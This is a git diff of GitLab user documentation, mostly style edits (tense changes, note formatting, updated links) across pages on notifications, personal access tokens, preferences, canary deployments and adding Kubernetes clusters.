+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Notification Emails
@@ -13,15 +13,15 @@ Notifications are sent via email.
## Receiving notifications
-You will receive notifications for one of the following reasons:
+You receive notifications for one of the following reasons:
- You participate in an issue, merge request, epic or design. In this context, _participate_ means comment, or edit.
- You enable notifications in an issue, merge request, or epic. To enable notifications, click the **Notifications** toggle in the sidebar to _on_.
-While notifications are enabled, you will receive notification of actions occurring in that issue, merge request, or epic.
+While notifications are enabled, you receive notification of actions occurring in that issue, merge request, or epic.
-NOTE: **Note:**
-Notifications can be blocked by an admin, preventing them from being sent.
+NOTE:
+Notifications can be blocked by an administrator, preventing them from being sent.
## Tuning your notifications
@@ -50,7 +50,7 @@ These notification settings apply only to you. They do not affect the notificati
Your **Global notification settings** are the default settings unless you select different values for a project or a group.
- Notification email
- - This is the email address your notifications will be sent to.
+ - This is the email address your notifications are sent to.
- Global notification level
- This is the default [notification level](#notification-levels) which applies to all your notifications.
- Receive notifications about your own activity.
@@ -138,7 +138,7 @@ For each project and group you can select one of the following levels:
## Notification events
-Users will be notified of the following events:
+Users are notified of the following events:
| Event | Sent to | Settings level |
|------------------------------|---------------------|------------------------------|
@@ -158,7 +158,7 @@ Users will be notified of the following events:
## Issue / Epics / Merge request events
-In most of the below cases, the notification will be sent to:
+In most of the below cases, the notification is sent to:
- Participants:
- the author and assignee of the issue/merge request
@@ -169,7 +169,7 @@ In most of the below cases, the notification will be sent to:
- Subscribers: anyone who manually subscribed to the issue, merge request, or epic **(ULTIMATE)**
- Custom: Users with notification level "custom" who turned on notifications for any of the events present in the table below
-NOTE: **Note:**
+NOTE:
To minimize the number of notifications that do not require any action, from [GitLab 12.9 onwards](https://gitlab.com/gitlab-org/gitlab/-/issues/616), eligible approvers are no longer notified for all the activities in their projects. To receive them they have to change their user notification settings to **Watch** instead.
| Event | Sent to |
@@ -193,23 +193,23 @@ To minimize the number of notifications that do not require any action, from [Gi
| New comment | The above, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher |
| Failed pipeline | The author of the pipeline |
| Fixed pipeline | The author of the pipeline. Enabled by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1. |
-| Successful pipeline | The author of the pipeline, if they have the custom notification setting for successful pipelines set. If the pipeline failed previously, a `Fixed pipeline` message will be sent for the first successful pipeline after the failure, then a `Successful pipeline` message for any further successful pipelines. |
+| Successful pipeline | The author of the pipeline, if they have the custom notification setting for successful pipelines set. If the pipeline failed previously, a `Fixed pipeline` message is sent for the first successful pipeline after the failure, then a `Successful pipeline` message for any further successful pipelines. |
| New epic **(ULTIMATE)** | |
| Close epic **(ULTIMATE)** | |
| Reopen epic **(ULTIMATE)** | |
In addition, if the title or description of an Issue or Merge Request is
-changed, notifications will be sent to any **new** mentions by `@username` as
+changed, notifications are sent to any **new** mentions by `@username` as
if they had been mentioned in the original text.
-You won't receive notifications for Issues, Merge Requests or Milestones created
-by yourself (except when an issue is due). You will only receive automatic
+You don't receive notifications for Issues, Merge Requests or Milestones created
+by yourself (except when an issue is due). You only receive automatic
notifications when somebody else comments or adds changes to the ones that
you've created or mentions you.
-If an open merge request becomes unmergeable due to conflict, its author will be notified about the cause.
+If an open merge request becomes unmergeable due to conflict, its author is notified about the cause.
If a user has also set the merge request to automatically merge once pipeline succeeds,
-then that user will also be notified.
+then that user is also notified.
## Design email notifications
@@ -252,9 +252,9 @@ The `X-GitLab-NotificationReason` header contains the reason for the notificatio
- `mentioned`
The reason for the notification is also included in the footer of the notification email. For example an email with the
-reason `assigned` will have this sentence in the footer:
+reason `assigned` has this sentence in the footer:
- `You are receiving this email because you have been assigned an item on <configured GitLab hostname>.`
-NOTE: **Note:**
+NOTE:
Notification of other events is being considered for inclusion in the `X-GitLab-NotificationReason` header. For details, see this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/20689).
diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md
index 911be117716..cfc70c5a6f0 100644
--- a/doc/user/profile/personal_access_tokens.md
+++ b/doc/user/profile/personal_access_tokens.md
@@ -2,7 +2,7 @@
type: concepts, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Personal access tokens
@@ -14,7 +14,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
If you're unable to use [OAuth2](../../api/oauth2.md), you can use a personal access token to authenticate with the [GitLab API](../../api/README.md#personalproject-access-tokens).
-You can also use personal access tokens with Git to authenticate over HTTP or SSH. Personal access tokens are required when [Two-Factor Authentication (2FA)](account/two_factor_authentication.md) is enabled. In both cases, you can authenticate with a token in place of your password.
+You can also use personal access tokens with Git to authenticate over HTTP. Personal access tokens are required when [Two-Factor Authentication (2FA)](account/two_factor_authentication.md) is enabled. In both cases, you can authenticate with a token in place of your password.
Personal access tokens expire on the date you define, at midnight UTC.
@@ -91,7 +91,7 @@ This can be shortened into a single-line shell command using the
sudo gitlab-rails runner "token = User.find_by_username('automation-bot').personal_access_tokens.create(scopes: [:read_user, :read_repository], name: 'Automation token'); token.set_token('token-string-here123'); token.save!"
```
-NOTE: **Note:**
+NOTE:
The token string must be 20 characters in length to be
recognized as a valid personal access token.
diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md
index 168bcb5a42e..af7bfb80cac 100644
--- a/doc/user/profile/preferences.md
+++ b/doc/user/profile/preferences.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -45,7 +45,7 @@ The default theme is Indigo. You can choose between 10 themes:
GitLab has started work on dark mode! The dark mode Alpha release is available in the
spirit of iteration and the lower expectations of
-[Alpha versions](https://about.gitlab.com/handbook/product/#alpha).
+[Alpha versions](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha).
Progress on dark mode is tracked in the [Dark theme epic](https://gitlab.com/groups/gitlab-org/-/epics/2902). See the epic for:
@@ -59,12 +59,12 @@ Dark mode is available as a navigation theme, for MVC and compatibility reasons.
the future, we plan to make it configurable in its own section along with support for
[different navigation themes](https://gitlab.com/gitlab-org/gitlab/-/issues/219512).
-NOTE: **Note:**
+NOTE:
Dark theme currently only works with the 'Dark' syntax highlighting.
## Syntax highlighting theme
-NOTE: **Note:**
+NOTE:
GitLab uses the [rouge Ruby library](http://rouge.jneen.net/ "Rouge website")
for syntax highlighting outside of any Editor context. The WebIDE (like Snippets)
uses [Monaco Editor](https://microsoft.github.io/monaco-editor/) and it's provided [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for
@@ -92,7 +92,7 @@ which apply to the entire Web IDE screen.
## Behavior
-The following settings allow you to customize the behavior of GitLab's layout
+The following settings allow you to customize the behavior of the GitLab layout
and default views of your dashboard and the projects' landing pages.
### Layout width
@@ -100,15 +100,15 @@ and default views of your dashboard and the projects' landing pages.
GitLab can be set up to use different widths depending on your liking. Choose
between the fixed (max. `1280px`) and the fluid (`100%`) application layout.
-NOTE: **Note:**
+NOTE:
While `1280px` is the standard max width when using fixed layout, some pages still use 100% width, depending on the content.
### Default dashboard
For users who have access to a large number of projects but only keep up with a
select few, the amount of activity on the default Dashboard page can be
-overwhelming. Changing this setting allows you to redefine what your default
-dashboard will be.
+overwhelming. Changing this setting allows you to redefine your default
+dashboard.
You have 8 options here that you can use for your default dashboard view:
@@ -142,7 +142,7 @@ see on a project’s home page.
You can set the displayed width of tab characters across various parts of
GitLab, for example, blobs, diffs, and snippets.
-NOTE: **Note:**
+NOTE:
Some parts of GitLab do not respect this setting, including the WebIDE, file
editor and Markdown editor.
@@ -164,7 +164,7 @@ You can choose one of the following options as the first day of the week:
- Sunday
- Monday
-If you select **System Default**, the system-wide default setting will be used.
+If you select **System Default**, the system-wide default setting is used.
## Integrations
@@ -172,7 +172,7 @@ Configure your preferences with third-party services which provide enhancements
### Sourcegraph
-NOTE: **Note:**
+NOTE:
This setting is only visible if Sourcegraph has been enabled by a GitLab administrator.
Manage the availability of integrated code intelligence features powered by
diff --git a/doc/user/profile/unknown_sign_in_notification.md b/doc/user/profile/unknown_sign_in_notification.md
index a97af3d6965..1eec351e4da 100644
--- a/doc/user/profile/unknown_sign_in_notification.md
+++ b/doc/user/profile/unknown_sign_in_notification.md
@@ -2,14 +2,14 @@
type: concepts, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Email notification for unknown sign-ins
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27211) in GitLab 13.0.
-NOTE: **Note:**
+NOTE:
This feature is enabled by default for self-managed instances. Administrators may disable this feature
through the [Sign-in restrictions](../admin_area/settings/sign_in_restrictions.md#email-notification-for-unknown-sign-ins) section of the UI.
The feature is always enabled on GitLab.com.
diff --git a/doc/user/project/autocomplete_characters.md b/doc/user/project/autocomplete_characters.md
index ff9cb1c712e..1aa040c9cb8 100644
--- a/doc/user/project/autocomplete_characters.md
+++ b/doc/user/project/autocomplete_characters.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
description: "Autocomplete chars in Markdown fields."
---
diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md
index fd0287fb5fb..f7bb88c33aa 100644
--- a/doc/user/project/badges.md
+++ b/doc/user/project/badges.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -84,7 +84,7 @@ are available:
- `%{commit_sha}`: ID of the most recent commit to the default branch of a
project's repository
-NOTE: **Note:**
+NOTE:
Placeholders allow badges to expose otherwise-private information, such as the
default branch or commit SHA when the project is configured to have a private
repository. This is by design, as badges are intended to be used publicly. Avoid
diff --git a/doc/user/project/builds/artifacts.md b/doc/user/project/builds/artifacts.md
index 1b0f3f61394..e7572b4ff1f 100644
--- a/doc/user/project/builds/artifacts.md
+++ b/doc/user/project/builds/artifacts.md
@@ -3,3 +3,6 @@ redirect_to: '../pipelines/job_artifacts.md'
---
This document was moved to [pipelines/job_artifacts](../pipelines/job_artifacts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md
index 98584a939ea..a29c0754d31 100644
--- a/doc/user/project/bulk_editing.md
+++ b/doc/user/project/bulk_editing.md
@@ -1,12 +1,12 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Bulk editing issues and merge requests at the project level
-NOTE: **Note:**
+NOTE:
Bulk editing issues, epics, and merge requests is also available at the **group level**.
For more details, see
[Bulk editing issues, epics, and merge requests at the group level](../group/bulk_editing/index.md).
@@ -14,14 +14,14 @@ For more details, see
If you want to update attributes across multiple issues or merge requests, you can do it
by bulk editing them, that is, editing them together.
-NOTE: **Note:**
+NOTE:
Only the items visible on the current page are selected for bulk editing (up to 20).
![Bulk editing](img/bulk-editing_v13_2.png)
## Bulk edit issues at the project level
-NOTE: **Note:**
+NOTE:
You need a permission level of [Reporter or higher](../permissions.md) to manage issues.
When bulk editing issues in a project, you can edit the following attributes:
@@ -46,7 +46,7 @@ To update multiple project issues at the same time:
## Bulk edit merge requests at the project level
-NOTE: **Note:**
+NOTE:
You need a permission level of [Developer or higher](../permissions.md) to manage merge requests.
When bulk editing merge requests in a project, you can edit the following attributes:
diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md
index e9bb6d0e3ff..52c825932fa 100644
--- a/doc/user/project/canary_deployments.md
+++ b/doc/user/project/canary_deployments.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Canary Deployments **(PREMIUM)**
@@ -32,13 +32,13 @@ deployments right inside the [Deploy Board](deploy_boards.md), without the need
Canary deployments can be used when you want to ship features to only a portion of
your pods fleet and watch their behavior as a percentage of your user base
visits the temporarily deployed feature. If all works well, you can deploy the
-feature to production knowing that it won't cause any problems.
+feature to production knowing that it shouldn't cause any problems.
Canary deployments are also especially useful for backend refactors, performance
improvements, or other changes where the user interface doesn't change, but you
want to make sure the performance stays the same, or improves. Developers need
to be careful when using canaries with user-facing changes, because by default,
-requests from the same user will be randomly distributed between canary and
+requests from the same user are randomly distributed between canary and
non-canary pods, which could result in confusion or even errors. If needed, you
may want to consider [setting `service.spec.sessionAffinity` to `ClientIP` in
your Kubernetes service definitions](https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies), but that is beyond the scope of
@@ -60,7 +60,7 @@ This allows GitLab to discover whether a deployment is stable or canary (tempora
Once all of the above are set up and the pipeline has run at least once,
navigate to the environments page under **Pipelines > Environments**.
-As the pipeline executes Deploy Boards will clearly mark canary pods, enabling
+As the pipeline executes, Deploy Boards clearly mark canary pods, enabling
quick and easy insight into the status of each environment and deployment.
Canary deployments are marked with a yellow dot in the Deploy Board so that you
@@ -68,9 +68,10 @@ can easily notice them.
![Canary deployments on Deploy Board](img/deploy_boards_canary_deployments.png)
-### Advanced traffic control with Canary Ingress **(PREMIUM)**
+### Advanced traffic control with Canary Ingress
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215501) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215501) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) to Core in GitLab 13.7.
Canary deployments can be more strategic with [Canary Ingress](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#canary),
which is an advanced traffic routing service that controls incoming HTTP
@@ -102,21 +103,22 @@ Here's an example setup flow from scratch:
#### How to check the current traffic weight on a Canary Ingress
-1. Visit [Deploy Board](../../user/project/deploy_boards.md).
-1. Open your browser's inspection tool and examine a response from the `environments.json` endpoint.
- You can find the current weight under `rollout_status`.
+1. Visit the [Deploy Board](../../user/project/deploy_boards.md).
+1. View the current weights on the right.
- ![Rollout Status Canary Ingress](img/rollout_status_canary_ingress.png)
-
- Note that we have [a plan](https://gitlab.com/gitlab-org/gitlab/-/issues/218139)
- to visualize this information in a [Deploy Board](../../user/project/deploy_boards.md)
- without needing a browser's inspection tool.
+ ![Rollout Status Canary Ingress](img/canary_weight.png)
#### How to change the traffic weight on a Canary Ingress
-You can change the traffic weight by using [GraphiQL](../../api/graphql/getting_started.md#graphiql)
+You can change the traffic weight within your environment's Deploy Board by using [GraphiQL](../../api/graphql/getting_started.md#graphiql),
or by sending requests to the [GraphQL API](../../api/graphql/getting_started.md#command-line).
+To use your [Deploy Board](../../user/project/deploy_boards.md):
+
+1. Navigate to **Operations > Environments** for your project.
+1. Set the new weight with the dropdown on the right side.
+1. Confirm your selection.
+
Here's an example using [GraphiQL](../../api/graphql/getting_started.md#graphiql):
1. Visit [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer).
@@ -135,6 +137,3 @@ Here's an example using [GraphiQL](../../api/graphql/getting_started.md#graphiql
1. If the request succeeds, the `errors` response contains an empty array. GitLab sends a `PATCH`
request to your Kubernetes cluster for updating the weight parameter on a Canary Ingress.
-
-Note that there's [a plan](https://gitlab.com/gitlab-org/gitlab/-/issues/218139)
-to control the weight from a [Deploy Board](../../user/project/deploy_boards.md).
diff --git a/doc/user/project/ci_cd_for_external_repo.md b/doc/user/project/ci_cd_for_external_repo.md
index a92d3a2c308..57747be3859 100644
--- a/doc/user/project/ci_cd_for_external_repo.md
+++ b/doc/user/project/ci_cd_for_external_repo.md
@@ -3,3 +3,6 @@ redirect_to: '../../ci/ci_cd_for_external_repos/index.md'
---
This document was moved to [another location](../../ci/ci_cd_for_external_repos/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md
index c3f2b96ce9f..07aa02db2b5 100644
--- a/doc/user/project/clusters/add_eks_clusters.md
+++ b/doc/user/project/clusters/add_eks_clusters.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Adding EKS clusters
@@ -10,7 +10,7 @@ GitLab supports adding new and existing EKS clusters.
## EKS requirements
-Before creating your first cluster on Amazon EKS with GitLab's integration, make sure the following
+Before creating your first cluster on Amazon EKS with the GitLab integration, make sure the following
requirements are met:
- An [Amazon Web Services](https://aws.amazon.com/) account is set up and you are able to log in.
@@ -23,9 +23,9 @@ requirements are met:
### Additional requirements for self-managed instances **(CORE ONLY)**
If you are using a self-managed GitLab instance, GitLab must first be configured with a set of
-Amazon credentials. These credentials will be used to assume an Amazon IAM role provided by the user
+Amazon credentials. These credentials are used to assume an Amazon IAM role provided by the user
creating the cluster. Create an IAM user and ensure it has permissions to assume the role(s) that
-your users will use to create EKS clusters.
+your users need to create EKS clusters.
For example, the following policy document allows assuming a role whose name starts with
`gitlab-eks-` in account `123456789012`:
@@ -60,7 +60,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
- Group's **Kubernetes** page, for a group-level cluster.
- **Admin Area > Kubernetes**, for an instance-level cluster.
1. Click **Add Kubernetes cluster**.
-1. Under the **Create new cluster** tab, click **Amazon EKS**. You will be provided with an
+1. Under the **Create new cluster** tab, click **Amazon EKS** to display an
`Account ID` and `External ID` needed for later steps.
1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an IAM policy:
1. From the left panel, select **Policies**.
@@ -137,9 +137,9 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
1. Click **Next: Tags**, and optionally enter any tags you wish to associate with this role.
1. Click **Next: Review**.
1. Enter a role name and optional description into the fields provided.
- 1. Click **Create role**, the new role name will appear at the top. Click on its name and copy the `Role ARN` from the newly created role.
+ 1. Click **Create role**, the new role name displays at the top. Click on its name and copy the `Role ARN` from the newly created role.
1. In GitLab, enter the copied role ARN into the `Role ARN` field.
-1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab will authenticate you have access to this region when authenticating your role.
+1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab confirms you have access to this region when authenticating your role.
1. Click **Authenticate with AWS**.
1. Choose your cluster's settings:
- **Kubernetes cluster name** - The name you wish to give the cluster.
@@ -148,7 +148,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
- **Service role** - Select the **EKS IAM role** you created earlier to allow Amazon EKS
and the Kubernetes control plane to manage AWS resources on your behalf.
- NOTE: **Note:**
+ NOTE:
This IAM role is _not_ the IAM role you created in the previous step. It should be
the one you created much earlier by following the
[Amazon EKS cluster IAM role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html)
@@ -158,7 +158,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
- **VPC** - Select a [VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html)
to use for your EKS Cluster resources.
- **Subnets** - Choose the [subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html)
- in your VPC where your worker nodes will run. You must select at least two.
+ in your VPC where your worker nodes run. You must select at least two.
- **Security group** - Choose the [security group](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html)
to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets.
- **Instance type** - The [instance type](https://aws.amazon.com/ec2/instance-types/) of your worker nodes.
@@ -167,11 +167,11 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
1. Finally, click the **Create Kubernetes cluster** button.
-After about 10 minutes, your cluster will be ready to go. You can now proceed
+After about 10 minutes, your cluster is ready to go. You can now proceed
to install some [pre-defined applications](index.md#installing-applications).
-NOTE: **Note:**
-You will need to add your AWS external ID to the
+NOTE:
+You must add your AWS external ID to the
[IAM Role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount)
to manage your cluster using `kubectl`.
@@ -205,7 +205,7 @@ If the `Cluster` resource failed with the error
`The provided role doesn't have the Amazon EKS Managed Policies associated with it.`,
the role specified in **Role name** is not configured correctly.
-NOTE: **Note:**
+NOTE:
This role should be the role you created by following the
[EKS cluster IAM role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html) guide.
In addition to the policies that guide suggests, you must also include the
@@ -219,9 +219,9 @@ For information on adding an existing EKS cluster, see
### Create a default Storage Class
Amazon EKS doesn't have a default Storage Class out of the box, which means
-requests for persistent volumes will not be automatically fulfilled. As part
+requests for persistent volumes are not automatically fulfilled. As part
of Auto DevOps, the deployed PostgreSQL instance requests persistent storage,
-and without a default storage class it will fail to start.
+and without a default storage class it cannot start.
If a default Storage Class doesn't already exist and is desired, follow Amazon's
[guide on storage classes](https://docs.aws.amazon.com/eks/latest/userguide/storage-classes.html)
@@ -239,18 +239,17 @@ to build, test, and deploy the app.
[Enable Auto DevOps](../../../topics/autodevops/index.md#at-the-project-level)
if not already enabled. If a wildcard DNS entry was created resolving to the
Load Balancer, enter it in the `domain` field under the Auto DevOps settings.
-Otherwise, the deployed app will not be externally available outside of the cluster.
+Otherwise, the deployed app isn't externally available outside of the cluster.
![Deploy Pipeline](img/pipeline.png)
-A new pipeline will automatically be created, which will begin to build, test,
-and deploy the app.
+GitLab creates a new pipeline, which begins to build, test, and deploy the app.
-After the pipeline has finished, your app will be running in EKS and available
+After the pipeline has finished, your app runs in EKS, and is available
to users. Click on **CI/CD > Environments**.
![Deployed Environment](img/environment.png)
-You will see a list of the environments and their deploy status, as well as
+GitLab displays a list of the environments and their deploy status, as well as
options to browse to the app, view monitoring metrics, and even access a shell
on the running pod.
diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md
index 720f9bdf253..e3e6efc887f 100644
--- a/doc/user/project/clusters/add_gke_clusters.md
+++ b/doc/user/project/clusters/add_gke_clusters.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Adding GKE clusters
@@ -10,7 +10,7 @@ GitLab supports adding new and existing GKE clusters.
## GKE requirements
-Before creating your first cluster on Google GKE with GitLab's integration, make sure the following
+Before creating your first cluster on Google GKE with GitLab integration, make sure the following
requirements are met:
- A [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account)
@@ -33,7 +33,7 @@ Note the following:
created by GitLab are RBAC-enabled. Take a look at the [RBAC section](add_remove_clusters.md#rbac-cluster-resources) for
more information.
- Starting from [GitLab 12.5](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18341), the
- cluster's pod address IP range will be set to /16 instead of the regular /14. /16 is a CIDR
+ cluster's pod address IP range is set to `/16` instead of the regular `/14`. `/16` is a CIDR
notation.
- GitLab requires basic authentication enabled and a client certificate issued for the cluster to
set up an [initial service account](add_remove_clusters.md#access-controls). In [GitLab versions
@@ -57,20 +57,20 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
- **Kubernetes cluster name** - The name you wish to give the cluster.
- **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster.
- **Google Cloud Platform project** - Choose the project you created in your GCP
- console that will host the Kubernetes cluster. Learn more about
+ console to host the Kubernetes cluster. Learn more about
[Google Cloud Platform projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects).
- **Zone** - Choose the [region zone](https://cloud.google.com/compute/docs/regions-zones/)
- under which the cluster will be created.
+ under which to create the cluster.
- **Number of nodes** - Enter the number of nodes you wish the cluster to have.
- **Machine type** - The [machine type](https://cloud.google.com/compute/docs/machine-types)
- of the Virtual Machine instance that the cluster will be based on.
+ of the Virtual Machine instance to base the cluster on.
- **Enable Cloud Run for Anthos** - Check this if you want to use Cloud Run for Anthos for this cluster.
See the [Cloud Run for Anthos section](#cloud-run-for-anthos) for more information.
- **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster.
See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
1. Finally, click the **Create Kubernetes cluster** button.
-After a couple of minutes, your cluster will be ready to go. You can now proceed
+After a couple of minutes, your cluster is ready. You can now proceed
to install some [pre-defined applications](index.md#installing-applications).
### Cloud Run for Anthos
@@ -79,7 +79,7 @@ to install some [pre-defined applications](index.md#installing-applications).
You can choose to use Cloud Run for Anthos in place of installing Knative and Istio
separately after the cluster has been created. This means that Cloud Run
-(Knative), Istio, and HTTP Load Balancing will be enabled on the cluster at
+(Knative), Istio, and HTTP Load Balancing are enabled on the cluster at
create time and cannot be [installed or uninstalled](../../clusters/applications.md) separately.
## Existing GKE cluster
diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md
index c96e38b1dfc..8ee9b1f37dd 100644
--- a/doc/user/project/clusters/add_remove_clusters.md
+++ b/doc/user/project/clusters/add_remove_clusters.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Adding and removing Kubernetes clusters
@@ -13,16 +13,16 @@ GitLab offers integrated cluster creation for the following Kubernetes providers
GitLab can also integrate with any standard Kubernetes provider, either on-premise or hosted.
-NOTE: **Note:**
+NOTE:
Watch the webcast [Scalable app deployment with GitLab and Google Cloud Platform](https://about.gitlab.com/webcast/scalable-app-deploy/)
and learn how to spin up a Kubernetes cluster managed by Google Cloud Platform (GCP)
in a few clicks.
-TIP: **Tip:**
+NOTE:
Every new Google Cloud Platform (GCP) account receives
[$300 in credit upon sign up](https://console.cloud.google.com/freetrial).
In partnership with Google, GitLab is able to offer an additional $200 for new GCP
-accounts to get started with GitLab's Google Kubernetes Engine Integration.
+accounts to get started with the GitLab integration with Google Kubernetes Engine.
[Follow this link](https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form)
to apply for credit.
@@ -260,7 +260,7 @@ To add a Kubernetes cluster to your project, group, or instance:
kubectl apply -f gitlab-admin-service-account.yaml --username=admin --password=<password>
```
- NOTE: **Note:**
+ NOTE:
Basic Authentication can be turned on and the password credentials
can be obtained using the Google Cloud Console.
@@ -295,7 +295,7 @@ To add a Kubernetes cluster to your project, group, or instance:
token: <authentication_token>
```
- NOTE: **Note:**
+ NOTE:
For GKE clusters, you need the
`container.clusterRoleBindings.create` permission to create a cluster
role binding. You can follow the [Google Cloud
@@ -330,7 +330,7 @@ integration to work properly.
![RBAC](img/rbac_v13_1.png)
-CAUTION: **Caution:**
+WARNING:
Disabling RBAC means that any application running in the cluster,
or user who can authenticate to the cluster, has full API access. This is a
[security concern](index.md#security-implications), and may not be desirable.
diff --git a/doc/user/project/clusters/eks_and_gitlab/index.md b/doc/user/project/clusters/eks_and_gitlab/index.md
index 895b51ea9bb..e38fbb871c1 100644
--- a/doc/user/project/clusters/eks_and_gitlab/index.md
+++ b/doc/user/project/clusters/eks_and_gitlab/index.md
@@ -3,3 +3,6 @@ redirect_to: '../add_eks_clusters.md#existing-eks-cluster'
---
This document was moved to [another location](../add_eks_clusters.md#existing-eks-cluster).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
